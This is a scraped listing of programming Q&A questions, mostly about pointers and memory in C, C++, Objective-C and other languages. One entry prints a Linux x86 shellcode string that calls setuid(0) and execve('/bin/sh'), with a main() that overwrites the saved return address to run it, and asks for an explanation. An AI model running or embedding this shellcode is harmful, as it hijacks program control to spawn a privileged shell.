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  • Tracking graphics tablet input in C#

    - by Martin
    I'm writing an XNA application with C#, and I want to be able to control the application with a graphics tablet. All I need to be able to do is track the position and pressure of the pen on the tablet, it would be nice to have some built in gesture recognition but I'm willing to build that myself if needed. My first attempt at this was to use the vbtablet library. However, when I sent this to a friend it failed to work. It seems that the underlying technology is quite old and not supported by some tablets. My second attempt is to play with the Microsoft.Ink system. This looks promising, but I know very little about this subject and I'm struggling to make it work properly - for example I can't find how to read the raw tablet input and disable mouse pointer mode on the tablet when using an InkOverlay. What's the best system to use and what good documentation is there for a beginner in this field?

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  • Drupal FAPI: Add form elements on nodeform after validation

    - by ManuelBS
    Hi, I use Drupal 6.x. In my own module I alter each node form an add my own validation handler to it using $form['#validate'][] = 'my_own_validation_function'; Then I have the function function my_own_validation_function($form, &$form_state) { //if validation fails, i would like to rebuild the form to add additional form elements in hook_form_alter $form_state['rebuild'] = True; } My problem ist, that the validation functions does not respect my 'rebuild' = True becaus the form is never processed by hook_form_alter after validation. But I need hook_form_alter to add my additional form element. Is there a solution for my problem? Or are form_state changes in an own validation handler not respected even if I set &$form_state as a "pointer"? Thanks and cheers.

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  • MemSet & MemCopy

    - by pws5068
    I'm writing a memory allocator, and I need a way to store an integer inside of a chunk of memory. This integer will represent the size of the block so I can navigate to the end given the pointer to the beginning. Here's my test example: head_ptr = (char*) malloc(4*1024*1024); // Allocate 4MB memset(head_ptr,12345,sizeof(int)); // Set Address head_ptr = 12345 memcpy(testInt,head_ptr,sizeof(int)); // Set testInt = head_ptr printf("testInt = %i",testInt); This throws a segmentation fault on the second to last line. Does what I'm trying to do make sense? If so, what is the correct approach?

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  • What is a good way to animate UIViews inside UITableViewCell after a callback?

    - by erotsppa
    We couldn't find a way to animate UIViews inside a UITableCell as an action from a callback. Suppose in a scenario where you click on a button on the UITableViewCell and it fires off an asynchronous action to download a picture. Suppose further that when the picture is downloaded we want a UIView in the cell to animate the picture to give user a visual feedback that something new is about to be presented. We couldn't find a way to track down the UIVIew to invoke beginAnimation on because the original cell that the user clicked on might now be used for another row due to the nature of cells being reused when you scroll up and down in the table. In other words we can't keep a pointer to that UITableViewCell. We need to find another way to target the cell and animate it if that row is visible and don't animate if the row is scrolled out of range.

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  • pushing back an boost::ptr_vector<...>::iterator in another boost::ptr_vector?

    - by Ethan Nash
    Hi all, I have the following code (just typed it in here, might have typos or stuff): typedef boost::ptr_vector<SomeClass> tvec; tvec v; // ... fill v ... tvec vsnap; for(tvec::iterator it = v.begin(); it != v.end(); ++it) { if((*v).anyCondition) vsnap.push_back( it ); // (*it) or &(*it) doesn't work } My problem is now that i cant push_back an iterator in any way, I just don't get the pointer out of the iterator. Is there an easy way i didnt see, or are boosts ptr_vector the false choice for this case? Thanks in advance.

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  • Compilation problems with vector<auto_ptr<> >

    - by petersohn
    Consider the following code: #include <iostream> #include <memory> #include <vector> using namespace std; struct A { int a; A(int a_):a(a_) {} }; int main() { vector<auto_ptr<A> > as; for (int i = 0; i < 10; i++) { auto_ptr<A> a(new A(i)); as.push_back(a); } for (vector<auto_ptr<A> >::iterator it = as.begin(); it != as.end(); ++it) cout << (*it)->a << endl; } When trying to compile it, I get the following obscure compiler error from g++: g++ -O0 -g3 -Wall -c -fmessage-length=0 -MMD -MP -MF"src/proba.d" -MT"src/proba.d" -o"src/proba.o" "../src/proba.cpp" /usr/include/c++/4.1.2/ext/new_allocator.h: In member function ‘void __gnu_cxx::new_allocator<_Tp>::construct(_Tp*, const _Tp&) [with _Tp = std::auto_ptr<A>]’: /usr/include/c++/4.1.2/bits/stl_vector.h:606: instantiated from ‘void std::vector<_Tp, _Alloc>::push_back(const _Tp&) [with _Tp = std::auto_ptr<A>, _Alloc = std::allocator<std::auto_ptr<A> >]’ ../src/proba.cpp:19: instantiated from here /usr/include/c++/4.1.2/ext/new_allocator.h:104: error: passing ‘const std::auto_ptr<A>’ as ‘this’ argument of ‘std::auto_ptr<_Tp>::operator std::auto_ptr_ref<_Tp1>() [with _Tp1 = A, _Tp = A]’ discards qualifiers /usr/include/c++/4.1.2/bits/vector.tcc: In member function ‘void std::vector<_Tp, _Alloc>::_M_insert_aux(__gnu_cxx::__normal_iterator<typename std::_Vector_base<_Tp, _Alloc>::_Tp_alloc_type::pointer, std::vector<_Tp, _Alloc> >, const _Tp&) [with _Tp = std::auto_ptr<A>, _Alloc = std::allocator<std::auto_ptr<A> >]’: /usr/include/c++/4.1.2/bits/stl_vector.h:610: instantiated from ‘void std::vector<_Tp, _Alloc>::push_back(const _Tp&) [with _Tp = std::auto_ptr<A>, _Alloc = std::allocator<std::auto_ptr<A> >]’ ../src/proba.cpp:19: instantiated from here /usr/include/c++/4.1.2/bits/vector.tcc:256: error: passing ‘const std::auto_ptr<A>’ as ‘this’ argument of ‘std::auto_ptr<_Tp>::operator std::auto_ptr_ref<_Tp1>() [with _Tp1 = A, _Tp = A]’ discards qualifiers /usr/include/c++/4.1.2/bits/stl_construct.h: In function ‘void std::_Construct(_T1*, const _T2&) [with _T1 = std::auto_ptr<A>, _T2 = std::auto_ptr<A>]’: /usr/include/c++/4.1.2/bits/stl_uninitialized.h:86: instantiated from ‘_ForwardIterator std::__uninitialized_copy_aux(_InputIterator, _InputIterator, _ForwardIterator, __false_type) [with _InputIterator = __gnu_cxx::__normal_iterator<std::auto_ptr<A>*, std::vector<std::auto_ptr<A>, std::allocator<std::auto_ptr<A> > > >, _ForwardIterator = __gnu_cxx::__normal_iterator<std::auto_ptr<A>*, std::vector<std::auto_ptr<A>, std::allocator<std::auto_ptr<A> > > >]’ /usr/include/c++/4.1.2/bits/stl_uninitialized.h:113: instantiated from ‘_ForwardIterator std::uninitialized_copy(_InputIterator, _InputIterator, _ForwardIterator) [with _InputIterator = __gnu_cxx::__normal_iterator<std::auto_ptr<A>*, std::vector<std::auto_ptr<A>, std::allocator<std::auto_ptr<A> > > >, _ForwardIterator = __gnu_cxx::__normal_iterator<std::auto_ptr<A>*, std::vector<std::auto_ptr<A>, std::allocator<std::auto_ptr<A> > > >]’ /usr/include/c++/4.1.2/bits/stl_uninitialized.h:254: instantiated from ‘_ForwardIterator std::__uninitialized_copy_a(_InputIterator, _InputIterator, _ForwardIterator, std::allocator<_Tp>) [with _InputIterator = __gnu_cxx::__normal_iterator<std::auto_ptr<A>*, std::vector<std::auto_ptr<A>, std::allocator<std::auto_ptr<A> > > >, _ForwardIterator = __gnu_cxx::__normal_iterator<std::auto_ptr<A>*, std::vector<std::auto_ptr<A>, std::allocator<std::auto_ptr<A> > > >, _Tp = std::auto_ptr<A>]’ /usr/include/c++/4.1.2/bits/vector.tcc:279: instantiated from ‘void std::vector<_Tp, _Alloc>::_M_insert_aux(__gnu_cxx::__normal_iterator<typename std::_Vector_base<_Tp, _Alloc>::_Tp_alloc_type::pointer, std::vector<_Tp, _Alloc> >, const _Tp&) [with _Tp = std::auto_ptr<A>, _Alloc = std::allocator<std::auto_ptr<A> >]’ /usr/include/c++/4.1.2/bits/stl_vector.h:610: instantiated from ‘void std::vector<_Tp, _Alloc>::push_back(const _Tp&) [with _Tp = std::auto_ptr<A>, _Alloc = std::allocator<std::auto_ptr<A> >]’ ../src/proba.cpp:19: instantiated from here /usr/include/c++/4.1.2/bits/stl_construct.h:81: error: passing ‘const std::auto_ptr<A>’ as ‘this’ argument of ‘std::auto_ptr<_Tp>::operator std::auto_ptr_ref<_Tp1>() [with _Tp1 = A, _Tp = A]’ discards qualifiers make: *** [src/proba.o] Error 1 It seems to me that there is some kind of problem with consts here. Does this mean that auto_ptr can't be used in vectors?

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  • Create a mirrored linked list in Java

    - by glacier89
    Linked-List: Mirror Consider the following private class for a node of a singly-linked list of integers: private class Node{ public int value; public Node next; } A wrapper-class, called, ListImpl, contains a pointer, called start to the first node of a linked list of Node. Write an instance-method for ListImpl with the signature: public void mirror(); That makes a reversed copy of the linked-list pointed to by start and appends that copy to the end of the list. So, for example the list: start 1 2 3 after a call to mirror, becomes: start 1 2 3 3 2 1 Note: in your answer you do not need to dene the rest of the class for ListImpl just the mirror method.

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  • Memory allocation included in API

    - by gurugio
    If there is the 'struct foo' and an APIs which handle foo, which is more flexible and convenient API? 1) API only initialize foo. User should declare foo or allocate memory for foo. The this style is like pthread_mutex_init/pthread_mutex_destroy. example 1) struct foo a; init_foo(&a);' example 2) struct foo *a; a = malloc(sizeof(struct foo)); init_foo(a); 2) API allocates memory and user get the pointer. This is like getaddrinfo/freeaddrinfo. example) struct foo *a; get_foo(&a); put_foo(a);

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  • Static Member Variables of the Same Class in C++

    - by helixed
    I'm trying to create a class which contains a static pointer to an instance of itself. Here's an example: A.h: #include <iostream> #ifndef _A_H #define _A_H class A { static A * a; }; A * a = NULL; #endif However, when I include A.h in another file, such as: #include "A.h" class B { }; I get the following error: ld: duplicate symbol _a in /Users/helixed/Desktop/Example/build/Example.build/Debug/Example.build/Objects-normal/x86_64/B.o and /Users/helixed/Desktop/Example/build/Example.build/Debug/Examplebuild/Objects-normal/x86_64/A.o I'm using the Xcode default compiler on Mac OS X Snow Leopard. Thanks, helixed

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  • Get a tableview insertRowsAtIndexPaths to accept indexOfObject?

    - by Emil
    Hey. I have a code snippet that looks like this: [tableView beginUpdates]; [tableView deleteRowsAtIndexPaths:[NSArray arrayWithObject:indexPath] withRowAnimation:UITableViewRowAnimationLeft]; [tableView insertRowsAtIndexPaths:[NSArray arrayWithObject:[array indexOfObject:[array objectAtIndex:indexPath.row]]] withRowAnimation:UITableViewRowAnimationLeft]; [tableView endUpdates]; [tableView reloadData]; It gets executed when a user clicks on an accessory. The first part is only there to provide a smooth animation, and does not really matter, as the tableView is reloaded milliseconds later, but as I said, it's there to provide an animation. It is supposed to move a selected object from its current indexPath to the value from an array at the same indexPath. Obviously, this code does not work, so I just want to know what can be done to fix it? PS: I get a warning when compiling, too. The usual "passing argument 1 of 'arrayWithObject:' makes pointer from integer without a cast..." (line 3)

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  • Clone a node using Javascript DOM

    - by Abhimanyu
    I want to create a clone for below code using javascript DOM var summaryDiv = __createElement("div","sDiv","sDiv"+j); summaryDiv.onmouseover = function() {this.setAttribute("style","text-decoration:underline;cursor:pointer;");} summaryDiv.onmouseout = function() {this.setAttribute("style","text-decoration:none;");} if(browser.isIE) { summaryDiv.onclick = new Function("__fc.show_tooltip("+j+",'view_month')"); } else { summaryDiv.setAttribute("onclick", "__fc.show_tooltip("+j+",'view_month',event)"); } someobj.appendChild(summaryDiv); I m using obj = summaryDiv.cloneNode(true) which is creating node. but onclick event is not getting fire in case of Internet Explorer.can any body help me over it?

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  • Unable to encode to iso-8859-1 encoding for some chars using Perl Encode module

    - by ppant
    I have a HTML string in ISO-8859-1 encoding. I need to pass this string to HTML:Entities::decode_entities() for converting some of the HTML ASCII codes to respective chars. To so i am using a module HTML::Parser::Entities 3.65 but after decode_entities() operation my whole string changes to utf-8 string. This behavior seems fine as the documentation of the HTML::Parse. As i need this string back in ISO-8859-1 format for further processing so i have used Encode::encode("iso-8859-1",$str) to change the string back to ISO-8859-1 encoding. My results are fine excepts for some chars, a question mark is coming instead. One example is single quote ' ASCII code (’) Can anybody help me if there any limitation of Encode module? Any other pointer will also be helpful to solve the problem. Thanks

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  • Warning when using qsort in C

    - by controlfreak123
    I wrote my comparison function int cmp(const int * a,const int * b) { if (*a==*b) return 0; else if (*a < *b) return -1; else return 1; } and i have my declaration int cmp (const int * value1,const int * value2); and I'm calling qsort in my program like so qsort(currentCases,round,sizeof(int),cmp); when i compile it I get the following warning warning: passing argument 4 of ‘qsort’ from incompatible pointer type /usr/include/stdlib.h:710: note: expected ‘__compar_fn_t’ but argument is of type ‘int (*)(const int *, const int *)’ The program works just fine so my only concern is why it doesn't like the way im using that?

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  • MPMediaItem - NSCoding problem with MPMediaItemArtwork

    - by z s
    Hi, So MPMediaItem conforms to NSCoding, but it contains a pointer to MPMediaItemArtwork, which doesn't conform to NSCoding. So if I try to archive a MPMediaItem, if that item has some artwork in it, it will not be able to unarchive. I tried to make a category of MPMediaItemArtwork and make it conform to NSCoding, but I can't seem to do that because we don't have access to the actual UIImage that it stores. Does anyone know of any other creative ways to get around this problem? I want to be able to archive an MPMediaItem, even if it means somehow stripping off the artwork object. Is there a way to make a category of a class to strip away certain functionality (instead of just adding more, like we do with categories)? Or any other clever way to achieve this? Thanks.

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  • feof() in C file handling

    - by Neeraj
    I am reading a binary file byte-by-byte,i need determine that whether or not eof has reached. feof() doesn't works as "eof is set only when a read request for non-existent byte is made". So, I can have my custom check_eof like: if ( fread(&byte,sizeof(byte),1,fp) != 1) { if(feof()) return true; } return false; But the problem is, in case when eof is not reached, my file pointer is moved a byte ahead. So a solution might be to use ftell() and then fseek() to get it to correct position. Another solution might be to buffer the byte ahead in some temporary storage. Any better solutions?

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  • Dynamically creating controls in MFC (Collection question)

    - by ProgramWriter
    Hello all, I have some custom control inside of which i should create radiobuttons or checkboxes. The count of child controls is available only at runtime (it loads some file from which it gets this count). So i need to create variable number of controls. Which collection i should use for this purpose? Solution 1: simply use std::vector (or CArray) - not suitable because i want use MFC (CButton). Of course i can Attach() and later Detach() handle to window each time i need this window, but it will give big overhead. Solution 2: use std::vector or CArray or CList or... In this case i take care about making 'new' and appropriate 'delete' when control is unneeded. I am forgetful :) MFC handle map contains pointer to CButton and i can't use simple CArray, because it will move my objects each time when his size will grow. ... and the question is: Which collection i should use for containing variable count of MFC control classes?

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  • Virtual Earth Shape Rendering Performance

    - by Mike
    I am overlaying a transparent image on my VEMap control by rendering it as a single VEShape. The shape changes sizes dynamically depeding on the zoom level of my map and can be as large as 4000*4000px. In older browsers such as IE6 and early versions of Firefox 2.x, map control performance degrades rapidly when my shape gets larger than 1500*1500px. The mouse pointer moves slowly and the map responds very slowly to events. I don't see this issue at all in newer browsers (IE7+). Are there any workarounds to boost performance of rendering a large shape for IE6 users?

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  • Compilng problems with vector<auto_ptr<> >

    - by petersohn
    Consider the following code: #include <iostream> #include <memory> #include <vector> using namespace std; struct A { int a; A(int a_):a(a_) {} }; int main() { vector<auto_ptr<A> > as; for (int i = 0; i < 10; i++) { auto_ptr<A> a(new A(i)); as.push_back(a); } for (vector<auto_ptr<A> >::iterator it = as.begin(); it != as.end(); ++it) cout << (*it)->a << endl; } When trying to compile it, I get the following obscure compiler error from g++: g++ -O0 -g3 -Wall -c -fmessage-length=0 -MMD -MP -MF"src/proba.d" -MT"src/proba.d" -o"src/proba.o" "../src/proba.cpp" /usr/include/c++/4.1.2/ext/new_allocator.h: In member function ‘void __gnu_cxx::new_allocator<_Tp>::construct(_Tp*, const _Tp&) [with _Tp = std::auto_ptr<A>]’: /usr/include/c++/4.1.2/bits/stl_vector.h:606: instantiated from ‘void std::vector<_Tp, _Alloc>::push_back(const _Tp&) [with _Tp = std::auto_ptr<A>, _Alloc = std::allocator<std::auto_ptr<A> >]’ ../src/proba.cpp:19: instantiated from here /usr/include/c++/4.1.2/ext/new_allocator.h:104: error: passing ‘const std::auto_ptr<A>’ as ‘this’ argument of ‘std::auto_ptr<_Tp>::operator std::auto_ptr_ref<_Tp1>() [with _Tp1 = A, _Tp = A]’ discards qualifiers /usr/include/c++/4.1.2/bits/vector.tcc: In member function ‘void std::vector<_Tp, _Alloc>::_M_insert_aux(__gnu_cxx::__normal_iterator<typename std::_Vector_base<_Tp, _Alloc>::_Tp_alloc_type::pointer, std::vector<_Tp, _Alloc> >, const _Tp&) [with _Tp = std::auto_ptr<A>, _Alloc = std::allocator<std::auto_ptr<A> >]’: /usr/include/c++/4.1.2/bits/stl_vector.h:610: instantiated from ‘void std::vector<_Tp, _Alloc>::push_back(const _Tp&) [with _Tp = std::auto_ptr<A>, _Alloc = std::allocator<std::auto_ptr<A> >]’ ../src/proba.cpp:19: instantiated from here /usr/include/c++/4.1.2/bits/vector.tcc:256: error: passing ‘const std::auto_ptr<A>’ as ‘this’ argument of ‘std::auto_ptr<_Tp>::operator std::auto_ptr_ref<_Tp1>() [with _Tp1 = A, _Tp = A]’ discards qualifiers /usr/include/c++/4.1.2/bits/stl_construct.h: In function ‘void std::_Construct(_T1*, const _T2&) [with _T1 = std::auto_ptr<A>, _T2 = std::auto_ptr<A>]’: /usr/include/c++/4.1.2/bits/stl_uninitialized.h:86: instantiated from ‘_ForwardIterator std::__uninitialized_copy_aux(_InputIterator, _InputIterator, _ForwardIterator, __false_type) [with _InputIterator = __gnu_cxx::__normal_iterator<std::auto_ptr<A>*, std::vector<std::auto_ptr<A>, std::allocator<std::auto_ptr<A> > > >, _ForwardIterator = __gnu_cxx::__normal_iterator<std::auto_ptr<A>*, std::vector<std::auto_ptr<A>, std::allocator<std::auto_ptr<A> > > >]’ /usr/include/c++/4.1.2/bits/stl_uninitialized.h:113: instantiated from ‘_ForwardIterator std::uninitialized_copy(_InputIterator, _InputIterator, _ForwardIterator) [with _InputIterator = __gnu_cxx::__normal_iterator<std::auto_ptr<A>*, std::vector<std::auto_ptr<A>, std::allocator<std::auto_ptr<A> > > >, _ForwardIterator = __gnu_cxx::__normal_iterator<std::auto_ptr<A>*, std::vector<std::auto_ptr<A>, std::allocator<std::auto_ptr<A> > > >]’ /usr/include/c++/4.1.2/bits/stl_uninitialized.h:254: instantiated from ‘_ForwardIterator std::__uninitialized_copy_a(_InputIterator, _InputIterator, _ForwardIterator, std::allocator<_Tp>) [with _InputIterator = __gnu_cxx::__normal_iterator<std::auto_ptr<A>*, std::vector<std::auto_ptr<A>, std::allocator<std::auto_ptr<A> > > >, _ForwardIterator = __gnu_cxx::__normal_iterator<std::auto_ptr<A>*, std::vector<std::auto_ptr<A>, std::allocator<std::auto_ptr<A> > > >, _Tp = std::auto_ptr<A>]’ /usr/include/c++/4.1.2/bits/vector.tcc:279: instantiated from ‘void std::vector<_Tp, _Alloc>::_M_insert_aux(__gnu_cxx::__normal_iterator<typename std::_Vector_base<_Tp, _Alloc>::_Tp_alloc_type::pointer, std::vector<_Tp, _Alloc> >, const _Tp&) [with _Tp = std::auto_ptr<A>, _Alloc = std::allocator<std::auto_ptr<A> >]’ /usr/include/c++/4.1.2/bits/stl_vector.h:610: instantiated from ‘void std::vector<_Tp, _Alloc>::push_back(const _Tp&) [with _Tp = std::auto_ptr<A>, _Alloc = std::allocator<std::auto_ptr<A> >]’ ../src/proba.cpp:19: instantiated from here /usr/include/c++/4.1.2/bits/stl_construct.h:81: error: passing ‘const std::auto_ptr<A>’ as ‘this’ argument of ‘std::auto_ptr<_Tp>::operator std::auto_ptr_ref<_Tp1>() [with _Tp1 = A, _Tp = A]’ discards qualifiers make: *** [src/proba.o] Error 1 It seems to me that there is some kind of problem with consts here. Does this mean that auto_ptr can't be used in vectors?

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  • How do I compile boost using __cdecl calling convention?

    - by Sorin Sbarnea
    I have a project compiled using __cdecl calling convention (msvc2010) and I compiled boost using the same compiler using the default settings. The project linked with boost but I at runtime I got an assert message like this: File: ...\boost\boost\program_options\detail\parsers.hpp Line: 79 Run-Time Check Failure #0 - The value of ESP was not properly saved across a function call. This is usually a result of calling a function declared with one calling convention with a function pointer declared with a different calling convention. There are the following questions: what calling convention does boost build with by default on Windows (msvc2010) how to I compile boost with __cdecl calling convention why boost wasn't able to prevent linking with code with different calling conventions? I understood that boost has really smart library auto-inclusion code.

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  • Objective-C syntax

    - by mebFace
    I've been studying objective-c for a few days now. I keep coming across these two structures: NSString * somestring (NSString *) somestring I understand the first simply sets a pointer to an NSString object, but what does the second construct do, and when should I use it? What's the deal with the asterix marks? Sorry if this question doesn't make any sense, I am completely new to this language, and haven't even reached the level of asking proper questions. Main purpose -- I'm trying to decipher this method: -(NSString *)pickerView:(UIPickerView *)pickerView titleForRow:(NSInteger) row forComponent: (NSInteger)component *Also, the classes I chose don't matter. *

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  • What is the underlying reason for not being able to put arrays of pointers in unsafe structs in C#?

    - by cons
    If one could put an array of pointers to child structs inside unsafe structs in C# like one could in C, constructing complex data structures without the overhead of having one object per node would be a lot easier and less of a time sink, as well as syntactically cleaner and much more readable. Is there a deep architectural reason why fixed arrays inside unsafe structs are only allowed to be composed of "value types" and not pointers? I assume only having explicitly named pointers inside structs must be a deliberate decision to weaken the language, but I can't find any documentation about why this is so, or the reasoning for not allowing pointer arrays inside structs, since I would assume the garbage collector shouldn't care what is going on in structs marked as unsafe. Digital Mars' D handles structs and pointers elegantly in comparison, and I'm missing not being able to rapidly develop succinct data structures; by making references abstract in C# a lot of power seems to have been removed from the language, even though pointers are still there at least in a marketing sense. Maybe I'm wrong to expect languages to become more powerful at representing complex data structures efficiently over time.

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  • can anyone explain this code to me???

    - by Abed
    //shellcode.c char shellcode[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { int *ret; //ret pointer for manipulating saved return. ret = (int *)&ret + 2; //setret to point to the saved return //value on the stack. (*ret) = (int)shellcode; //change the saved return value to the //address of the shellcode, so it executes. } can anyone give me a better explanation

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  • WebKit and npapi and mingw-w64

    - by rubenvb
    Hi, The problem is the following: On Windows x64, pointers are 64-bit, but type long is 32-bit. MSVC doesn't seem to care, and even omits warnings about pointer truncation on the default warning level. Since recently, there is a GCC that target x86_64-w64-mingw32, or better Windows x64 native. GCC produces errors when pointers are truncated (which is the logical thing to do...), and this is causing trouble in WebKit and more specifically, the Netscape Plugin API: First, there's the files (I can only post one hyperlink...): http://trac.webkit.org/browser/trunk/WebCore/ bridge/npapi.h -- defines uint32 as 32-bit int type (~line 145) plugins/win/PluginViewWin.cpp -- casts Windows window handles to 32-bit int, truncating them (~line 450) My proposed fix was to change the uint32 casts to uintptr_t, which makes GCC happy, but still puts a 64-bit value in a uint32 (=unsigned long). I have no clue how to solve this, because clearly WebKit is happy truncating pointers on Win64... How can I solve this the right way? Thanks!

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  • Give style attributes to sub-elements inside a <style> tag?

    - by Giffyguy
    My <style> for thumbnails currently looks like this: <style type="text/css"> img.TN { width: 100%; margin-bottom: 5.294%; cursor: pointer; } </style> This is annoying, because I have to apply this style to every single thumbnail image individually, when there could be any number of them on the screen at any given time. All of the thumbnails are inside a single <div> that groups them together, and I'd like to apply a single style to the <div> that will push the attributes I need down to all of the the <img> elements nested inside, regardless how many thumbnails there are. I'm using ASP.NET 2.0, and CSS 2.0 Does anyone know how to do this? Thanks!

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  • groovy variable function

    - by bsreekanth
    I'm not even sure about how to title this qn. But, hope there is an easy way to do it in dynamic language like groovy. say I have a class Service, where I delegate the business logic. the methods in it are funA(), funB()... funX(). Now I have a controller class, where I call the service closure, which can be invoked like service.funA() . Now based on a variable (which can have values A, B ... X), I need to cal the correct service closure. Basically to avoid writing lot of if conditional statements. Something like service."fun+var"() would do. I'm not sure whether it is possible to substitute variable in closure (function)name. or any way by passing function (name) as a parameter...not sure I think PHP has a similar feature http://php.net/manual/en/functions.variable-functions.php thanks for any pointer..

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